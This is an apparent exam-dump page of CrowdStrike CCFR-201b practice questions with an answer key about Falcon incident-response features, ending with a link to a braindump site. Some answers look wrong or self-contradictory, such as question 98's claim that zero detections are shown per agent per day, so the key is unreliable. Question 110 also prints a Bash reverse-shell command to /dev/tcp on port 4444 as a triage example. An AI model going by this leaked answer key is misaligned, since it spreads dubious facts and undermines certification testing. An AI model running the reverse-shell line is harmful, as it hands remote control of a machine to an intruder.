Pass CrowdStrike CCFR CCFR-201b exam [Jul 22, 2026] Updated 212 Questions

CrowdStrike CCFR-201b Actual Questions and 100% Cover Real Exam Questions

CrowdStrike CCFR-201b Exam Syllabus Topics:

NEW QUESTION # 90
You are responding to a cybersecurity incident and observe several outbound network connections from host Bob-Desktop. Upon review, you determine this to be a result of a Threat Actor ' s attempt to exfiltrate data.
What action should you take to stop the exfiltration using the Falcon Platform?

• A. Access Bob-Desktop via RTR and run the contain command
• B. Use the Falcon console to network contain Bob-Desktop
• C. Find the IP address associated with the exfiltration and block it by creating an IOC
• D. Find the IP address associated with the exfiltration and block it by creating an IOA

Answer: B

Explanation:
The fastest Falcon Platform action to stop active data exfiltration from a known endpoint is network containment. Containing Bob-Desktop from the Falcon console restricts network communication while preserving Falcon sensor connectivity for investigation and response. This is better than trying to create an IOA or IOC for a specific destination IP because the adversary may change infrastructure, use multiple destinations, or already have active sessions. Accessing the host through RTR can support follow-up investigation, but the immediate containment action should be initiated from the Falcon console. The objective is not just to detect future traffic; it is to stop current outbound communication.
Network containment is the direct responder action for isolating a host involved in suspected exfiltration.

NEW QUESTION # 91
Which of the following sentences best describes the primary objective of 'Real-time Analysis' within the Falcon platform?

• A. Analyzing historical logs from the past 90 days to find missed threats.
• B. Scanning every file on a hard drive once per week for dormant viruses.
• C. Investigating incoming telemetry in real time or on a near real-time basis to catch active threats.
• D. Manually updating the Falcon sensor on every machine in the fleet.

Answer: C

NEW QUESTION # 92
A responder wants to verify why a certain quarantined file was not uploaded to the cloud. Which specific policy dictates whether quarantined files are permitted to be uploaded?

• A. Sensor Update Policy
• B. Prevention Policy
• C. Response Policy
• D. Quarantine Management Policy

Answer: B

NEW QUESTION # 93
During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?

• A. Complete
• B. In Progress
• C. New
• D. True Positive

Answer: A

NEW QUESTION # 94
In the Hash Search tool, which of the following is listed under Process Executions?

• A. Sensor Version
• B. Operating System
• C. File Signature
• D. Command Line

Answer: D

NEW QUESTION # 95
The Falcon sensor can automatically upload quarantined files to the CrowdStrike Cloud for further analysis.
What is the maximum size allowed for a quarantined file to be uploaded?

• A. 10MB
• B. 64MB
• C. 32MB
• D. 128MB

Answer: C

NEW QUESTION # 96
Data retention is a key factor in retrospective hunting. How long will "Detection Related Events" be retained in the Falcon environment?

• A. 30 days
• B. 90 days
• C. 60 days
• D. 1 year

Answer: B

NEW QUESTION # 97
How long are quarantined files stored in the CrowdStrike Cloud?

• A. Days
• B. Quarantined files are not deleted
• C. 90 Days
• D. 45 Days

Answer: C

NEW QUESTION # 98
Falcon limits the number of detections displayed to prevent the UI from becoming overwhelmed. How many detections are displayed per day per Agent ID (AID)?

• A. Unlimited
• B. 0
• C. 1
• D. 2

Answer: B

NEW QUESTION # 99
The primary purpose for running a Hash Search is to:

• A. determine the origin of the detection
• B. review information surrounding a hash's related activity
• C. determine any network connections
• D. review the processes involved with a detection

Answer: B

NEW QUESTION # 100
What types of events are returned by a Process Timeline?

• A. Only network events
• B. All cloudable events
• C. Only process events
• D. Only detection events

Answer: B

NEW QUESTION # 101
To speed up investigations, Falcon uses 'event workflows'. Which of the following sentences best describes what event workflows are?

• A. They are automated scripts that perform remediation actions like killing processes.
• B. They are PDF reports that summarize an incident for executive review.
• C. They are automated searches that can be used to pivot between related events and searches.
• D. They are schedules for when the sensor should perform a full disk scan.

Answer: C

NEW QUESTION # 102
Refer to the image.

Within a Host Search, you have filtered for cmd.exe in the Process executions table and now need to pivot to a process timeline.
Which item in the table do you select to pivot to the Process Timeline?

• A. PID
• B. Process ID
• C. Command Line

Answer: B

Explanation:
The correct item to select is Process ID. In Falcon investigations, a Process Timeline requires the sensor- specific process identifier, not merely the operating system PID. The OS PID can be reused over time and is not sufficiently unique for reliable historical telemetry correlation. The Falcon Process ID maps to the process record used by the platform to retrieve process-related events such as file writes, network connections, registry activity, DNS requests, and child process creation. Selecting the command line may provide useful context, but it does not pivot directly into the process timeline. Selecting PID is less precise because it refers to the local operating system process identifier. For accurate process-scoped investigation, the Process ID is the correct pivot point.

NEW QUESTION # 103
A responder is analyzing a MITRE-related alert and sees the technique 'Explore > Discovery > Cloud Service Dashboard'. Which of the following scenarios best describes the technical activity associated with this technique?

• A. An adversary deploys a crypto-miner inside a compromised Docker container.
• B. An adversary uses an automated script to bruteforce S3 bucket permissions.
• C. An adversary uses a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment.
• D. An adversary executes an API call to terminate all running EC2 instances in a region.

Answer: C

NEW QUESTION # 104
What happens when a quarantined file is released?

• A. It is allowed to execute on the host
• B. It is deleted
• C. It is allowed to execute on all hosts
• D. It is moved into theC:\CrowdStrike\Quarantine\Releasedfolder on the host

Answer: C

NEW QUESTION # 105
When examining raw event data, what is the purpose of the field called ParentProcessld_decimal?

• A. It contains an internal value not useful for an investigation
• B. It contains the TargetProcessld_decimal value of the child process
• C. It contains the Sensorld_decimal value for related events
• D. It contains the TargetProcessld_decimal of the parent process

Answer: D

NEW QUESTION # 106
Which Executive Summary dashboard item indicates sensors running with unsupported versions?

• A. Active Sensors
• B. Inactive Sensors
• C. Detections by Severity
• D. Sensors in RFM

Answer: D

NEW QUESTION # 107
What actions are available for domain name-based Indicators of Compromise (IOCs) in Falcon?

• A. Block
  Detect only
  Allow
• B. Detect only
  No action
• C. Block
  Allow
  No action
• D. Detect only
  Allow

Answer: B

Explanation:
Domain name-based IOCs in Falcon are used for detection-oriented visibility, not endpoint prevention in the same way as file-hash indicators. File hashes can support blocking or allowing because the sensor can evaluate executable content directly. Domains are network indicators, so the practical actions available are limited to detection or no enforcement action. "Detect only" creates visibility when matching activity is observed, while "No action" allows the indicator to be stored or staged without triggering enforcement behavior. Options that include "Block" or "Allow" are incorrect because domain-based IOCs do not work like hash allowlists or prevention hashes in Falcon IOC Management.
This distinction is important for responders because choosing the wrong IOC type or expected action can lead to false assumptions about containment capability.

NEW QUESTION # 108
CrowdStrike supports various deployment types. What is a 'POD sensor'?

• A. A physical appliance that sits on the network to monitor traffic.
• B. A sensor specifically designed for mobile devices (iOS/Android).
• C. A legacy sensor used only for disconnected or air-gapped systems.
• D. A sensor that is installed directly on a Kubernetes or Docker host to monitor containers.

Answer: D

NEW QUESTION # 109
Aside from a Process Timeline or Event Search, how do you export process event data from a detection in .
CSV format?

• A. In Full Detection Details, you expand the nodes of the process tree you wish to expand and then click the "Export Process Events" button
• B. From the Detections Dashboard, you right-click the event type you wish to export and choose CSV.JSON or XML
• C. You can't export detailed event data from a detection, you have to use the Process Timeline or an Event Search
• D. In Full Detection Details, you choose the "View Process Activity" option and then export from that view

Answer: D

NEW QUESTION # 110
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?

• A. Investigate the host for manipulation of the root folder
• B. Investigate the host for any Potentially Unwanted Programs (PUP)
• C. Investigate the host for an interactive remote terminal
• D. Investigate the host for developer activity

Answer: C

Explanation:
The command line shows a classic Bash reverse shell pattern. The sh -i flag starts an interactive shell, while /dev/tcp/172.17.0.21/4444 redirects shell input and output over a TCP connection to a remote IP and port. This is not normal developer activity unless explicitly approved and documented, and it is not primarily evidence of root-folder manipulation or PUP behavior. The immediate investigative focus should be whether an adversary established an interactive remote terminal, because that would allow hands-on-keyboard activity, command execution, discovery, persistence setup, credential access, or lateral movement. In Falcon event investigation, command-line interpretation is critical. Here, the syntax strongly indicates remote interactive shell behavior and should be treated as potentially active compromise.

NEW QUESTION # 111
After an investigation, the following malicious artifacts have been identified:
* C:\Users*\AppData\iamnotmalware.exe
* C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iamnotmalware.lnk
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iamnotmalware_real What method will remove all associated artifacts from hosts that trigger future related detections?

• A. Create a Quarantine Rule that will quarantine all identified artifacts across the entire environment
• B. Create Custom IOA rules to prevent the execution of these artifacts
• C. Create a workflow to trigger on a new endpoint detection, conditions that match the detection, and as an action a PowerShell script to kill associated processes and remove all artifacts
• D. Create a workflow to trigger on a new endpoint detection, query the telemetry data of the endpoint for known artifacts, and select Remove All Associated Artifacts as an action

Answer: D

Explanation:
The correct approach is to use a workflow that triggers from a new endpoint detection, queries the endpoint telemetry for known artifacts, and then uses the built-in "Remove All Associated Artifacts" action. This is stronger than simply blocking execution because the scenario requires cleanup of multiple artifact types: an executable, a startup shortcut, and a registry Run key. A Custom IOA can prevent or detect behavior, but it does not automatically remove all related artifacts already present on the host. A quarantine rule is also too narrow because not all artifacts are files suitable for quarantine, especially registry persistence. Using Falcon workflow automation makes the remediation repeatable for future detections and reduces manual responder effort while preserving consistent artifact removal logic across impacted endpoints.

NEW QUESTION # 112
Which of the following statements about the 'Hash Search' (Single Search) is TRUE?

• A. It identifies the geographical location of the file's creator.
• B. The 'Hash Written History' section is only available for SHA256 hashes.
• C. It can search for both files and registry keys simultaneously.
• D. It is primarily used to isolate a host from the network.

Answer: B

NEW QUESTION # 113
After running an Event Search, you can select many Event Actions depending on your results. Which of the following is NOT an option for any Event Action?

• A. Draw Process Explorer
• B. Show a +/- 10-minute window of events
• C. Show a Process Timeline for the responsible process
• D. Show Associated Event Data (from TargetProcessld_decimal or ContextProcessld_decimal)

Answer: A

NEW QUESTION # 114
A security analyst is triaging a high-severity alert on a critical production server. To understand the adversary
' s intent and technical execution within the framework of industry standards, the analyst refers to the console ' s categorization. Which specific methodology does CrowdStrike utilize within the Falcon platform to classify detections based on technical behavior?

• A. MITRE-Based Falcon Detections Framework
• B. NIST Incident Response Lifecycle
• C. Cyber Kill Chain Classification
• D. Falcon Adversary Attribution Matrix

Answer: A

NEW QUESTION # 115
......

CrowdStrike CCFR-201b Real 2026 Braindumps Mock Exam Dumps: https://braindumps2go.dumptorrent.com/CCFR-201b-braindumps-torrent.html